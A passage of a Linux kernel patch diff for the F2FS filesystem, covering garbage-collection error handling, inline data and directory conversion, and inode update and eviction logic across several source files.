segno, i; + unsigned int segno; int gc_type = sync ? FG_GC : BG_GC; int sec_freed = 0; int ret = -EINVAL; @@ -830,46 +921,51 @@ int f2fs_gc(struct f2fs_sb_info *sbi, bool sync) if (unlikely(!(sbi->sb->s_flags & MS_ACTIVE))) goto stop; - if (unlikely(f2fs_cp_error(sbi))) + if (unlikely(f2fs_cp_error(sbi))) { + ret = -EIO; goto stop; + } - if (gc_type == BG_GC && has_not_enough_free_secs(sbi, sec_freed)) { + if (gc_type == BG_GC && has_not_enough_free_secs(sbi, sec_freed, 0)) { gc_type = FG_GC; - if (__get_victim(sbi, &segno, gc_type) || prefree_segments(sbi)) - write_checkpoint(sbi, &cpc); + /* + * If there is no victim and no prefree segment but still not + * enough free sections, we should flush dent/node blocks and do + * garbage collections. + */ + if (__get_victim(sbi, &segno, gc_type) || + prefree_segments(sbi)) { + ret = write_checkpoint(sbi, &cpc); + if (ret) + goto stop; + segno = NULL_SEGNO; + } else if (has_not_enough_free_secs(sbi, 0, 0)) { + ret = write_checkpoint(sbi, &cpc); + if (ret) + goto stop; + } + } else if (gc_type == BG_GC && !background) { + /* f2fs_balance_fs doesn't need to do BG_GC in critical path. */ + goto stop; } if (segno == NULL_SEGNO && !__get_victim(sbi, &segno, gc_type)) goto stop; ret = 0; - /* readahead multi ssa blocks those have contiguous address */ - if (sbi->segs_per_sec > 1) - ra_meta_pages(sbi, GET_SUM_BLOCK(sbi, segno), sbi->segs_per_sec, - META_SSA, true); - - for (i = 0; i < sbi->segs_per_sec; i++) { - /* - * for FG_GC case, halt gcing left segments once failed one - * of segments in selected section to avoid long latency. - */ - if (!do_garbage_collect(sbi, segno + i, &gc_list, gc_type) && - gc_type == FG_GC) - break; - } - - if (i == sbi->segs_per_sec && gc_type == FG_GC) + if (do_garbage_collect(sbi, segno, &gc_list, gc_type) && + gc_type == FG_GC) sec_freed++; if (gc_type == FG_GC) sbi->cur_victim_sec = NULL_SEGNO; if (!sync) { - if (has_not_enough_free_secs(sbi, sec_freed)) + if (has_not_enough_free_secs(sbi, sec_freed, 0)) goto gc_more; if (gc_type == FG_GC) - write_checkpoint(sbi, &cpc); + ret = write_checkpoint(sbi, &cpc); } stop: mutex_unlock(&sbi->gc_mutex); diff --git a/fs/f2fs/gc.h b/fs/f2fs/gc.h index b4a65be9f7d3f..a993967dcdb97 100644 --- a/fs/f2fs/gc.h +++ b/fs/f2fs/gc.h @@ -100,11 +100,3 @@ static inline bool has_enough_invalid_blocks(struct f2fs_sb_info *sbi) return true; return false; } - -static inline int is_idle(struct f2fs_sb_info *sbi) -{ - struct block_device *bdev = sbi->sb->s_bdev; - struct request_queue *q = bdev_get_queue(bdev); - struct request_list *rl = &q->root_rl; - return !(rl->count[BLK_RW_SYNC]) && !(rl->count[BLK_RW_ASYNC]); -} diff --git a/fs/f2fs/inline.c b/fs/f2fs/inline.c index 4d22fa72ecae5..f42bfcb5096e9 100644 --- a/fs/f2fs/inline.c +++ b/fs/f2fs/inline.c @@ -16,9 +16,6 @@ bool f2fs_may_inline_data(struct inode *inode) { - if (!test_opt(F2FS_I_SB(inode), INLINE_DATA)) - return false; - if (f2fs_is_atomic_file(inode)) return false; @@ -54,7 +51,7 @@ void read_inline_data(struct page *page, struct page *ipage) f2fs_bug_on(F2FS_P_SB(page), page->index); - zero_user_segment(page, MAX_INLINE_DATA, PAGE_CACHE_SIZE); + zero_user_segment(page, MAX_INLINE_DATA, PAGE_SIZE); /* Copy the whole inline data block */ src_addr = inline_data_addr(ipage); @@ -62,7 +59,8 @@ void read_inline_data(struct page *page, struct page *ipage) memcpy(dst_addr, src_addr, MAX_INLINE_DATA); flush_dcache_page(page); kunmap_atomic(dst_addr); - SetPageUptodate(page); + if (!PageUptodate(page)) + SetPageUptodate(page); } bool truncate_inline_inode(struct page *ipage, u64 from) @@ -74,9 +72,9 @@ bool truncate_inline_inode(struct page *ipage, u64 from) addr = inline_data_addr(ipage); - f2fs_wait_on_page_writeback(ipage, NODE); + f2fs_wait_on_page_writeback(ipage, NODE, true); memset(addr + from, 0, MAX_INLINE_DATA - from); - + set_page_dirty(ipage); return true; } @@ -96,11 +94,12 @@ int f2fs_read_inline_data(struct inode *inode, struct page *page) } if (page->index) - zero_user_segment(page, 0, PAGE_CACHE_SIZE); + zero_user_segment(page, 0, PAGE_SIZE); else read_inline_data(page, ipage); - SetPageUptodate(page); + if (!PageUptodate(page)) + SetPageUptodate(page); f2fs_put_page(ipage, 1); unlock_page(page); return 0; @@ -108,7 +107,6 @@ int f2fs_read_inline_data(struct inode *inode, struct page *page) int f2fs_convert_inline_page(struct dnode_of_data *dn, struct page *page) { - void *src_addr, *dst_addr; struct f2fs_io_info fio = { .sbi = F2FS_I_SB(dn->inode), .type = DATA, @@ -118,8 +116,6 @@ int f2fs_convert_inline_page(struct dnode_of_data *dn, struct page *page) }; int dirty, err; - f2fs_bug_on(F2FS_I_SB(dn->inode), page->index); - if (!f2fs_exist_data(dn->inode)) goto clear_out; @@ -127,21 +123,9 @@ int f2fs_convert_inline_page(struct dnode_of_data *dn, struct page *page) if (err) return err; - f2fs_wait_on_page_writeback(page, DATA); + f2fs_bug_on(F2FS_P_SB(page), PageWriteback(page)); - if (PageUptodate(page)) - goto no_update; - - zero_user_segment(page, MAX_INLINE_DATA, PAGE_CACHE_SIZE); - - /* Copy the whole inline data block */ - src_addr = inline_data_addr(dn->inode_page); - dst_addr = kmap_atomic(page); - memcpy(dst_addr, src_addr, MAX_INLINE_DATA); - flush_dcache_page(page); - kunmap_atomic(dst_addr); - SetPageUptodate(page); -no_update: + read_inline_data(page, dn->inode_page); set_page_dirty(page); /* clear dirty state */ @@ -149,23 +133,23 @@ int f2fs_convert_inline_page(struct dnode_of_data *dn, struct page *page) /* write data page to try to make data consistent */ set_page_writeback(page); - fio.blk_addr = dn->data_blkaddr; + fio.old_blkaddr = dn->data_blkaddr; write_data_page(dn, &fio); - set_data_blkaddr(dn); - f2fs_update_extent_cache(dn); - f2fs_wait_on_page_writeback(page, DATA); - if (dirty) + f2fs_wait_on_page_writeback(page, DATA, true); + if (dirty) { inode_dec_dirty_pages(dn->inode); + remove_dirty_inode(dn->inode); + } /* this converted inline_data should be recovered. */ - set_inode_flag(F2FS_I(dn->inode), FI_APPEND_WRITE); + set_inode_flag(dn->inode, FI_APPEND_WRITE); /* clear inline data and flag after data writeback */ truncate_inline_inode(dn->inode_page, 0); + clear_inline_node(dn->inode_page); clear_out: stat_dec_inline_inode(dn->inode); f2fs_clear_inline_inode(dn->inode); - sync_inode_page(dn); f2fs_put_dnode(dn); return 0; } @@ -177,7 +161,10 @@ int f2fs_convert_inline_inode(struct inode *inode) struct page *ipage, *page; int err = 0; - page = grab_cache_page(inode->i_mapping, 0); + if (!f2fs_has_inline_data(inode)) + return 0; + + page = f2fs_grab_cache_page(inode->i_mapping, 0, false); if (!page) return -ENOMEM; @@ -199,6 +186,9 @@ int f2fs_convert_inline_inode(struct inode *inode) f2fs_unlock_op(sbi); f2fs_put_page(page, 1); + + f2fs_balance_fs(sbi, dn.node_changed); + return err; } @@ -220,16 +210,17 @@ int f2fs_write_inline_data(struct inode *inode, struct page *page) f2fs_bug_on(F2FS_I_SB(inode), page->index); - f2fs_wait_on_page_writeback(dn.inode_page, NODE); + f2fs_wait_on_page_writeback(dn.inode_page, NODE, true); src_addr = kmap_atomic(page); dst_addr = inline_data_addr(dn.inode_page); memcpy(dst_addr, src_addr, MAX_INLINE_DATA); kunmap_atomic(src_addr); + set_page_dirty(dn.inode_page); - set_inode_flag(F2FS_I(inode), FI_APPEND_WRITE); - set_inode_flag(F2FS_I(inode), FI_DATA_EXIST); + set_inode_flag(inode, FI_APPEND_WRITE); + set_inode_flag(inode, FI_DATA_EXIST); - sync_inode_page(&dn); + clear_inline_node(dn.inode_page); f2fs_put_dnode(&dn); return 0; } @@ -258,16 +249,16 @@ bool recover_inline_data(struct inode *inode, struct page *npage) ipage = get_node_page(sbi, inode->i_ino); f2fs_bug_on(sbi, IS_ERR(ipage)); - f2fs_wait_on_page_writeback(ipage, NODE); + f2fs_wait_on_page_writeback(ipage, NODE, true); src_addr = inline_data_addr(npage); dst_addr = inline_data_addr(ipage); memcpy(dst_addr, src_addr, MAX_INLINE_DATA); - set_inode_flag(F2FS_I(inode), FI_INLINE_DATA); - set_inode_flag(F2FS_I(inode), FI_DATA_EXIST); + set_inode_flag(inode, FI_INLINE_DATA); + set_inode_flag(inode, FI_DATA_EXIST); - update_inode(inode, ipage); + set_page_dirty(ipage); f2fs_put_page(ipage, 1); return true; } @@ -278,7 +269,6 @@ bool recover_inline_data(struct inode *inode, struct page *npage) if (!truncate_inline_inode(ipage, 0)) return false; f2fs_clear_inline_inode(inode); - update_inode(inode, ipage); f2fs_put_page(ipage, 1); } else if (ri && (ri->i_inline & F2FS_INLINE_DATA)) { if (truncate_blocks(inode, 0, false)) @@ -289,7 +279,7 @@ bool recover_inline_data(struct inode *inode, struct page *npage) } struct f2fs_dir_entry *find_in_inline_dir(struct inode *dir, - struct f2fs_filename *fname, struct page **res_page) + struct fscrypt_name *fname, struct page **res_page) { struct f2fs_sb_info *sbi = F2FS_SB(dir->i_sb); struct f2fs_inline_dentry *inline_dentry; @@ -300,8 +290,10 @@ struct f2fs_dir_entry *find_in_inline_dir(struct inode *dir, f2fs_hash_t namehash; ipage = get_node_page(sbi, dir->i_ino); - if (IS_ERR(ipage)) + if (IS_ERR(ipage)) { + *res_page = ipage; return NULL; + } namehash = f2fs_dentry_hash(&name); @@ -315,30 +307,6 @@ struct f2fs_dir_entry *find_in_inline_dir(struct inode *dir, else f2fs_put_page(ipage, 0); - /* - * For the most part, it should be a bug when name_len is zero. - * We stop here for figuring out where the bugs has occurred. - */ - f2fs_bug_on(sbi, d.max < 0); - return de; -} - -struct f2fs_dir_entry *f2fs_parent_inline_dir(struct inode *dir, - struct page **p) -{ - struct f2fs_sb_info *sbi = F2FS_I_SB(dir); - struct page *ipage; - struct f2fs_dir_entry *de; - struct f2fs_inline_dentry *dentry_blk; - - ipage = get_node_page(sbi, dir->i_ino); - if (IS_ERR(ipage)) - return NULL; - - dentry_blk = inline_data_addr(ipage); - de = &dentry_blk->dentry[1]; - *p = ipage; - unlock_page(ipage); return de; } @@ -356,10 +324,8 @@ int make_empty_inline_dir(struct inode *inode, struct inode *parent, set_page_dirty(ipage); /* update i_size to MAX_INLINE_DATA */ - if (i_size_read(inode) < MAX_INLINE_DATA) { - i_size_write(inode, MAX_INLINE_DATA); - set_inode_flag(F2FS_I(inode), FI_UPDATE_DIR); - } + if (i_size_read(inode) < MAX_INLINE_DATA) + f2fs_i_size_write(inode, MAX_INLINE_DATA); return 0; } @@ -367,7 +333,7 @@ int make_empty_inline_dir(struct inode *inode, struct inode *parent, * NOTE: ipage is grabbed by caller, but if any error occurs, we should * release ipage in this function. */ -static int f2fs_convert_inline_dir(struct inode *dir, struct page *ipage, +static int f2fs_move_inline_dirents(struct inode *dir, struct page *ipage, struct f2fs_inline_dentry *inline_dentry) { struct page *page; @@ -375,7 +341,7 @@ static int f2fs_convert_inline_dir(struct inode *dir, struct page *ipage, struct f2fs_dentry_block *dentry_blk; int err; - page = grab_cache_page(dir->i_mapping, 0); + page = f2fs_grab_cache_page(dir->i_mapping, 0, false); if (!page) { f2fs_put_page(ipage, 1); return -ENOMEM; @@ -386,8 +352,8 @@ static int f2fs_convert_inline_dir(struct inode *dir, struct page *ipage, if (err) goto out; - f2fs_wait_on_page_writeback(page, DATA); - zero_user_segment(page, MAX_INLINE_DATA, PAGE_CACHE_SIZE); + f2fs_wait_on_page_writeback(page, DATA, true); + zero_user_segment(page, MAX_INLINE_DATA, PAGE_SIZE); dentry_blk = kmap_atomic(page); @@ -408,37 +374,132 @@ static int f2fs_convert_inline_dir(struct inode *dir, struct page *ipage, NR_INLINE_DENTRY * F2FS_SLOT_LEN); kunmap_atomic(dentry_blk); - SetPageUptodate(page); + if (!PageUptodate(page)) + SetPageUptodate(page); set_page_dirty(page); /* clear inline dir and flag after data writeback */ truncate_inline_inode(ipage, 0); stat_dec_inline_dir(dir); - clear_inode_flag(F2FS_I(dir), FI_INLINE_DENTRY); + clear_inode_flag(dir, FI_INLINE_DENTRY); - if (i_size_read(dir) < PAGE_CACHE_SIZE) { - i_size_write(dir, PAGE_CACHE_SIZE); - set_inode_flag(F2FS_I(dir), FI_UPDATE_DIR); - } - - sync_inode_page(&dn); + f2fs_i_depth_write(dir, 1); + if (i_size_read(dir) < PAGE_SIZE) + f2fs_i_size_write(dir, PAGE_SIZE); out: f2fs_put_page(page, 1); return err; } -int f2fs_add_inline_entry(struct inode *dir, const struct qstr *name, - struct inode *inode, nid_t ino, umode_t mode) +static int f2fs_add_inline_entries(struct inode *dir, + struct f2fs_inline_dentry *inline_dentry) +{ + struct f2fs_dentry_ptr d; + unsigned long bit_pos = 0; + int err = 0; + + make_dentry_ptr(NULL, &d, (void *)inline_dentry, 2); + + while (bit_pos < d.max) { + struct f2fs_dir_entry *de; + struct qstr new_name; + nid_t ino; + umode_t fake_mode; + + if (!test_bit_le(bit_pos, d.bitmap)) { + bit_pos++; + continue; + } + + de = &d.dentry[bit_pos]; + + if (unlikely(!de->name_len)) { + bit_pos++; + continue; + } + + new_name.name = d.filename[bit_pos]; + new_name.len = le16_to_cpu(de->name_len); + + ino = le32_to_cpu(de->ino); + fake_mode = get_de_type(de) << S_SHIFT; + + err = f2fs_add_regular_entry(dir, &new_name, NULL, NULL, + ino, fake_mode); + if (err) + goto punch_dentry_pages; + + bit_pos += GET_DENTRY_SLOTS(le16_to_cpu(de->name_len)); + } + return 0; +punch_dentry_pages: + truncate_inode_pages(&dir->i_data, 0); + truncate_blocks(dir, 0, false); + remove_dirty_inode(dir); + return err; +} + +static int f2fs_move_rehashed_dirents(struct inode *dir, struct page *ipage, + struct f2fs_inline_dentry *inline_dentry) +{ + struct f2fs_inline_dentry *backup_dentry; + int err; + + backup_dentry = f2fs_kmalloc(F2FS_I_SB(dir), + sizeof(struct f2fs_inline_dentry), GFP_F2FS_ZERO); + if (!backup_dentry) { + f2fs_put_page(ipage, 1); + return -ENOMEM; + } + + memcpy(backup_dentry, inline_dentry, MAX_INLINE_DATA); + truncate_inline_inode(ipage, 0); + + unlock_page(ipage); + + err = f2fs_add_inline_entries(dir, backup_dentry); + if (err) + goto recover; + + lock_page(ipage); + + stat_dec_inline_dir(dir); + clear_inode_flag(dir, FI_INLINE_DENTRY); + kfree(backup_dentry); + return 0; +recover: + lock_page(ipage); + memcpy(inline_dentry, backup_dentry, MAX_INLINE_DATA); + f2fs_i_depth_write(dir, 0); + f2fs_i_size_write(dir, MAX_INLINE_DATA); + set_page_dirty(ipage); + f2fs_put_page(ipage, 1); + + kfree(backup_dentry); + return err; +} + +static int f2fs_convert_inline_dir(struct inode *dir, struct page *ipage, + struct f2fs_inline_dentry *inline_dentry) +{ + if (!F2FS_I(dir)->i_dir_level) + return f2fs_move_inline_dirents(dir, ipage, inline_dentry); + else + return f2fs_move_rehashed_dirents(dir, ipage, inline_dentry); +} + +int f2fs_add_inline_entry(struct inode *dir, const struct qstr *new_name, + const struct qstr *orig_name, + struct inode *inode, nid_t ino, umode_t mode) { struct f2fs_sb_info *sbi = F2FS_I_SB(dir); struct page *ipage; unsigned int bit_pos; f2fs_hash_t name_hash; - size_t namelen = name->len; struct f2fs_inline_dentry *dentry_blk = NULL; struct f2fs_dentry_ptr d; - int slots = GET_DENTRY_SLOTS(namelen); + int slots = GET_DENTRY_SLOTS(new_name->len); struct page *page = NULL; int err = 0; @@ -459,25 +520,27 @@ int f2fs_add_inline_entry(struct inode *dir, const struct qstr *name, if (inode) { down_write(&F2FS_I(inode)->i_sem); - page = init_inode_metadata(inode, dir, name, ipage); + page = init_inode_metadata(inode, dir, new_name, + orig_name, ipage); if (IS_ERR(page)) { err = PTR_ERR(page); goto fail; } + if (f2fs_encrypted_inode(dir)) + file_set_enc_name(inode); } - f2fs_wait_on_page_writeback(ipage, NODE); + f2fs_wait_on_page_writeback(ipage, NODE, true); - name_hash = f2fs_dentry_hash(name); + name_hash = f2fs_dentry_hash(new_name); make_dentry_ptr(NULL, &d, (void *)dentry_blk, 2); - f2fs_update_dentry(ino, mode, &d, name, name_hash, bit_pos); + f2fs_update_dentry(ino, mode, &d, new_name, name_hash, bit_pos); set_page_dirty(ipage); /* we don't need to mark_inode_dirty now */ if (inode) { - F2FS_I(inode)->i_pino = dir->i_ino; - update_inode(inode, page); + f2fs_i_pino_write(inode, dir->i_ino); f2fs_put_page(page, 1); } @@ -485,11 +548,6 @@ int f2fs_add_inline_entry(struct inode *dir, const struct qstr *name, fail: if (inode) up_write(&F2FS_I(inode)->i_sem); - - if (is_inode_flag_set(F2FS_I(dir), FI_UPDATE_DIR)) { - update_inode(dir, ipage); - clear_inode_flag(F2FS_I(dir), FI_UPDATE_DIR); - } out: f2fs_put_page(ipage, 1); return err; @@ -504,22 +562,22 @@ void f2fs_delete_inline_entry(struct f2fs_dir_entry *dentry, struct page *page, int i; lock_page(page); - f2fs_wait_on_page_writeback(page, NODE); + f2fs_wait_on_page_writeback(page, NODE, true); inline_dentry = inline_data_addr(page); bit_pos = dentry - inline_dentry->dentry; for (i = 0; i < slots; i++) - test_and_clear_bit_le(bit_pos + i, + __clear_bit_le(bit_pos + i, &inline_dentry->dentry_bitmap); set_page_dirty(page); + f2fs_put_page(page, 1); - dir->i_ctime = dir->i_mtime = CURRENT_TIME; + dir->i_ctime = dir->i_mtime = current_time(dir); + f2fs_mark_inode_dirty_sync(dir, false); if (inode) - f2fs_drop_nlink(dir, inode, page); - - f2fs_put_page(page, 1); + f2fs_drop_nlink(dir, inode); } bool f2fs_empty_inline_dir(struct inode *dir) @@ -547,7 +605,7 @@ bool f2fs_empty_inline_dir(struct inode *dir) } int f2fs_read_inline_dir(struct file *file, void *dirent, filldir_t filldir, - struct f2fs_str *fstr) + struct fscrypt_str *fstr) { unsigned long pos = file->f_pos; unsigned int bit_pos = 0; @@ -555,6 +613,7 @@ int f2fs_read_inline_dir(struct file *file, void *dirent, filldir_t filldir, struct f2fs_inline_dentry *inline_dentry = NULL; struct page *ipage = NULL; struct f2fs_dentry_ptr d; + int err; if (pos >= NR_INLINE_DENTRY) return 0; @@ -569,11 +628,12 @@ int f2fs_read_inline_dir(struct file *file, void *dirent, filldir_t filldir, make_dentry_ptr(inode, &d, (void *)inline_dentry, 2); - if (!f2fs_fill_dentries(file, dirent, filldir, &d, 0, bit_pos, fstr)) + err = f2fs_fill_dentries(file, dirent, filldir, &d, 0, bit_pos, fstr); + if (!err) file->f_pos = NR_INLINE_DENTRY; f2fs_put_page(ipage, 1); - return 0; + return err < 0 ? err : 0; } int f2fs_inline_data_fiemap(struct inode *inode, diff --git a/fs/f2fs/inode.c b/fs/f2fs/inode.c index ec9a36a226e55..79936608c9b76 100644 --- a/fs/f2fs/inode.c +++ b/fs/f2fs/inode.c @@ -11,6 +11,7 @@ #include #include #include +#include #include #include "f2fs.h" @@ -18,6 +19,14 @@ #include +void f2fs_mark_inode_dirty_sync(struct inode *inode, bool sync) +{ + if (f2fs_inode_dirtied(inode, sync)) + return; + + mark_inode_dirty_sync(inode); +} + void f2fs_set_inode_flags(struct inode *inode) { unsigned int flags = F2FS_I(inode)->i_flags; @@ -35,6 +44,7 @@ void f2fs_set_inode_flags(struct inode *inode) new_fl |= S_DIRSYNC; set_mask_bits(&inode->i_flags, S_SYNC|S_APPEND|S_IMMUTABLE|S_NOATIME|S_DIRSYNC, new_fl); + f2fs_mark_inode_dirty_sync(inode, false); } static void __get_inode_rdev(struct inode *inode, struct f2fs_inode *ri) @@ -83,10 +93,10 @@ static void __recover_inline_status(struct inode *inode, struct page *ipage) while (start < end) { if (*start++) { - f2fs_wait_on_page_writeback(ipage, NODE); + f2fs_wait_on_page_writeback(ipage, NODE, true); - set_inode_flag(F2FS_I(inode), FI_DATA_EXIST); - set_raw_inline(F2FS_I(inode), F2FS_INODE(ipage)); + set_inode_flag(inode, FI_DATA_EXIST); + set_raw_inline(inode, F2FS_INODE(ipage)); set_page_dirty(ipage); return; } @@ -138,9 +148,10 @@ static int do_read_inode(struct inode *inode) fi->i_pino = le32_to_cpu(ri->i_pino); fi->i_dir_level = ri->i_dir_level; - f2fs_init_extent_tree(inode, &ri->i_ext); + if (f2fs_init_extent_tree(inode, &ri->i_ext)) + set_page_dirty(node_page); - get_inline_info(fi, ri); + get_inline_info(inode, ri); /* check data exist */ if (f2fs_has_inline_data(inode) && !f2fs_exist_data(inode)) @@ -150,7 +161,10 @@ static int do_read_inode(struct inode *inode) __get_inode_rdev(inode, ri); if (__written_first_block(ri)) - set_inode_flag(F2FS_I(inode), FI_FIRST_BLOCK_WRITTEN); + set_inode_flag(inode, FI_FIRST_BLOCK_WRITTEN); + + if (!need_inode_block_update(sbi, inode->i_ino)) + fi->last_disk_size = inode->i_size; f2fs_put_page(node_page, 1); @@ -202,6 +216,7 @@ struct inode *f2fs_iget(struct super_block *sb, unsigned long ino) inode->i_op = &f2fs_encrypted_symlink_inode_operations; else inode->i_op = &f2fs_symlink_inode_operations; + inode_nohighmem(inode); inode->i_mapping->a_ops = &f2fs_dblock_aops; } else if (S_ISCHR(inode->i_mode) || S_ISBLK(inode->i_mode) || S_ISFIFO(inode->i_mode) || S_ISSOCK(inode->i_mode)) { @@ -221,11 +236,28 @@ struct inode *f2fs_iget(struct super_block *sb, unsigned long ino) return ERR_PTR(ret); } -void update_inode(struct inode *inode, struct page *node_page) +struct inode *f2fs_iget_retry(struct super_block *sb, unsigned long ino) +{ + struct inode *inode; +retry: + inode = f2fs_iget(sb, ino); + if (IS_ERR(inode)) { + if (PTR_ERR(inode) == -ENOMEM) { + congestion_wait(BLK_RW_ASYNC, HZ/50); + goto retry; + } + } + return inode; +} + +int update_inode(struct inode *inode, struct page *node_page) { struct f2fs_inode *ri; + struct extent_tree *et = F2FS_I(inode)->extent_tree; + + f2fs_inode_synced(inode); - f2fs_wait_on_page_writeback(node_page, NODE); + f2fs_wait_on_page_writeback(node_page, NODE, true); ri = F2FS_INODE(node_page); @@ -237,12 +269,14 @@ void update_inode(struct inode *inode, struct page *node_page) ri->i_size = cpu_to_le64(i_size_read(inode)); ri->i_blocks = cpu_to_le64(inode->i_blocks); - if (F2FS_I(inode)->extent_tree) - set_raw_extent(&F2FS_I(inode)->extent_tree->largest, - &ri->i_ext); - else + if (et) { + read_lock(&et->lock); + set_raw_extent(&et->largest, &ri->i_ext); + read_unlock(&et->lock); + } else { memset(&ri->i_ext, 0, sizeof(ri->i_ext)); - set_raw_inline(F2FS_I(inode), ri); + } + set_raw_inline(inode, ri); ri->i_atime = cpu_to_le64(inode->i_atime.tv_sec); ri->i_ctime = cpu_to_le64(inode->i_ctime.tv_sec); @@ -259,15 +293,19 @@ void update_inode(struct inode *inode, struct page *node_page) __set_inode_rdev(inode, ri); set_cold_node(inode, node_page); - set_page_dirty(node_page); - clear_inode_flag(F2FS_I(inode), FI_DIRTY_INODE); + /* deleted inode */ + if (inode->i_nlink == 0) + clear_inline_node(node_page); + + return set_page_dirty(node_page); } -void update_inode_page(struct inode *inode) +int update_inode_page(struct inode *inode) { struct f2fs_sb_info *sbi = F2FS_I_SB(inode); struct page *node_page; + int ret = 0; retry: node_page = get_node_page(sbi, inode->i_ino); if (IS_ERR(node_page)) { @@ -276,12 +314,14 @@ void update_inode_page(struct inode *inode) cond_resched(); goto retry; } else if (err != -ENOENT) { - f2fs_stop_checkpoint(sbi); + f2fs_stop_checkpoint(sbi, false); } - return; + f2fs_inode_synced(inode); + return 0; } - update_inode(inode, node_page); + ret = update_inode(inode, node_page); f2fs_put_page(node_page, 1); + return ret; } int f2fs_write_inode(struct inode *inode, struct writeback_control *wbc) @@ -292,16 +332,15 @@ int f2fs_write_inode(struct inode *inode, struct writeback_control *wbc) inode->i_ino == F2FS_META_INO(sbi)) return 0; - if (!is_inode_flag_set(F2FS_I(inode), FI_DIRTY_INODE)) + if (!is_inode_flag_set(inode, FI_DIRTY_INODE)) return 0; /* * We need to balance fs here to prevent from producing dirty node pages * during the urgent cleaning time when runing out of free sections. */ - update_inode_page(inode); - - f2fs_balance_fs(sbi); + if (update_inode_page(inode) && wbc && wbc->nr_to_write) + f2fs_balance_fs(sbi, true); return 0; } @@ -311,13 +350,12 @@ int f2fs_write_inode(struct inode *inode, struct writeback_control *wbc) void f2fs_evict_inode(struct inode *inode) { struct f2fs_sb_info *sbi = F2FS_I_SB(inode); - struct f2fs_inode_info *fi = F2FS_I(inode); - nid_t xnid = fi->i_xattr_nid; + nid_t xnid = F2FS_I(inode)->i_xattr_nid; int err = 0; /* some remained atomic pages should discarded */ if (f2fs_is_atomic_file(inode)) - commit_inmem_pages(inode, true); + drop_inmem_pages(inode); trace_f2fs_evict_inode(inode); truncate_inode_pages(&inode->i_data, 0); @@ -327,26 +365,44 @@ void f2fs_evict_inode(struct inode *inode) goto out_clear; f2fs_bug_on(sbi, get_dirty_pages(inode)); - remove_dirty_dir_inode(inode); + remove_dirty_inode(inode); f2fs_destroy_extent_tree(inode); if (inode->i_nlink || is_bad_inode(inode)) goto no_delete; +#ifdef CONFIG_F2FS_FAULT_INJECTION + if (time_to_inject(sbi, FAULT_EVICT_INODE)) + goto no_delete; +#endif + + remove_ino_entry(sbi, inode->i_ino, APPEND_INO); + remove_ino_entry(sbi, inode->i_ino, UPDATE_INO); + sb_start_intwrite(inode->i_sb); - set_inode_flag(fi, FI_NO_ALLOC); + set_inode_flag(inode, FI_NO_ALLOC); i_size_write(inode, 0); - +retry: if (F2FS_HAS_BLOCKS(inode)) - err = f2fs_truncate(inode, true); + err = f2fs_truncate(inode); if (!err) { f2fs_lock_op(sbi); err = remove_inode_page(inode); f2fs_unlock_op(sbi); + if (err == -ENOENT) + err = 0; } + /* give more chances, if ENOMEM case */ + if (err == -ENOMEM) { + err = 0; + goto retry; + } + + if (err) + update_inode_page(inode); sb_end_intwrite(inode->i_sb); no_delete: stat_dec_inline_xattr(inode); @@ -356,36 +412,20 @@ void f2fs_evict_inode(struct inode *inode) invalidate_mapping_pages(NODE_MAPPING(sbi), inode->i_ino, inode->i_ino); if (xnid) invalidate_mapping_pages(NODE_MAPPING(sbi), xnid, xnid); - if (is_inode_flag_set(fi, FI_APPEND_WRITE)) - add_dirty_inode(sbi, inode->i_ino, APPEND_INO); - if (is_inode_flag_set(fi, FI_UPDATE_WRITE)) - add_dirty_inode(sbi, inode->i_ino, UPDATE_INO); - if (is_inode_flag_set(fi, FI_FREE_NID)) { - if (err && err != -ENOENT) - alloc_nid_done(sbi, inode->i_ino); - else - alloc_nid_failed(sbi, inode->i_ino); - clear_inode_flag(fi, FI_FREE_NID); + if (inode->i_nlink) { + if (is_inode_flag_set(inode, FI_APPEND_WRITE)) + add_ino_entry(sbi, inode->i_ino, APPEND_INO); + if (is_inode_flag_set(inode, FI_UPDATE_WRITE)) + add_ino_entry(sbi, inode->i_ino, UPDATE_INO); } - - if (err && err != -ENOENT) { - if (!exist_written_data(sbi, inode->i_ino, ORPHAN_INO)) { - /* - * get here because we failed to release resource - * of inode previously, reminder our user to run fsck - * for fixing. - */ - set_sbi_flag(sbi, SBI_NEED_FSCK); - f2fs_msg(sbi->sb, KERN_WARNING, - "inode (ino:%lu) resource leak, run fsck " - "to fix this issue!", inode->i_ino); - } + if (is_inode_flag_set(inode, FI_FREE_NID)) { + alloc_nid_failed(sbi, inode->i_ino); + clear_inode_flag(inode, FI_FREE_NID); } + f2fs_bug_on(sbi, err && + !exist_written_data(sbi, inode->i_ino, ORPHAN_INO)); out_clear: -#ifdef CONFIG_F2FS_FS_ENCRYPTION - if (fi->i_crypt_info) - f2fs_free_encryption_info(inode, fi->i_crypt_info); -#endif + fscrypt_put_encryption_info(inode, NULL); clear_inode(inode); } @@ -393,37 +433,44 @@ void f2fs_evict_inode(struct inode *inode) void handle_failed_inode(struct inode *inode) { struct f2fs_sb_info *sbi = F2FS_I_SB(inode); - int err = 0; + struct node_info ni; + /* + * clear nlink of inode in order to release resource of inode + * immediately. + */ clear_nlink(inode); - make_bad_inode(inode); - unlock_new_inode(inode); - i_size_write(inode, 0); - if (F2FS_HAS_BLOCKS(inode)) - err = f2fs_truncate(inode, false); + /* + * we must call this to avoid inode being remained as dirty, resulting + * in a panic when flushing dirty inodes in gdirty_list. + */ + update_inode_page(inode); - if (!err) - err = remove_inode_page(inode); + /* don't make bad inode, since it becomes a regular file. */ + unlock_new_inode(inode); /* - * if we skip truncate_node in remove_inode_page bacause we failed - * before, it's better to find another way to release resource of - * this inode (e.g. valid block count, node block or nid). Here we - * choose to add this inode to orphan list, so that we can call iput - * for releasing in orphan recovery flow. - * * Note: we should add inode to orphan list before f2fs_unlock_op() * so we can prevent losing this orphan when encoutering checkpoint * and following suddenly power-off. */ - if (err && err != -ENOENT) { - err = acquire_orphan_inode(sbi); - if (!err) - add_orphan_inode(sbi, inode->i_ino); + get_node_info(sbi, inode->i_ino, &ni); + + if (ni.blk_addr != NULL_ADDR) { + int err = acquire_orphan_inode(sbi); + if (err) { + set_sbi_flag(sbi, SBI_NEED_FSCK); + f2fs_msg(sbi->sb, KERN_WARNING, + "Too many orphan inodes, run fsck to fix."); + } else { + add_orphan_inode(inode); + } + alloc_nid_done(sbi, inode->i_ino); + } else { + set_inode_flag(inode, FI_FREE_NID); } - set_inode_flag(F2FS_I(inode), FI_FREE_NID); f2fs_unlock_op(sbi); /* iput will drop the inode object */ diff --git a/fs/f2fs/namei.c b/fs/f2fs/namei.c index bfaec10af7e20..1f89d738dcafc 100644 --- a/fs/f2fs/namei.c +++ b/fs/f2fs/namei.c @@ 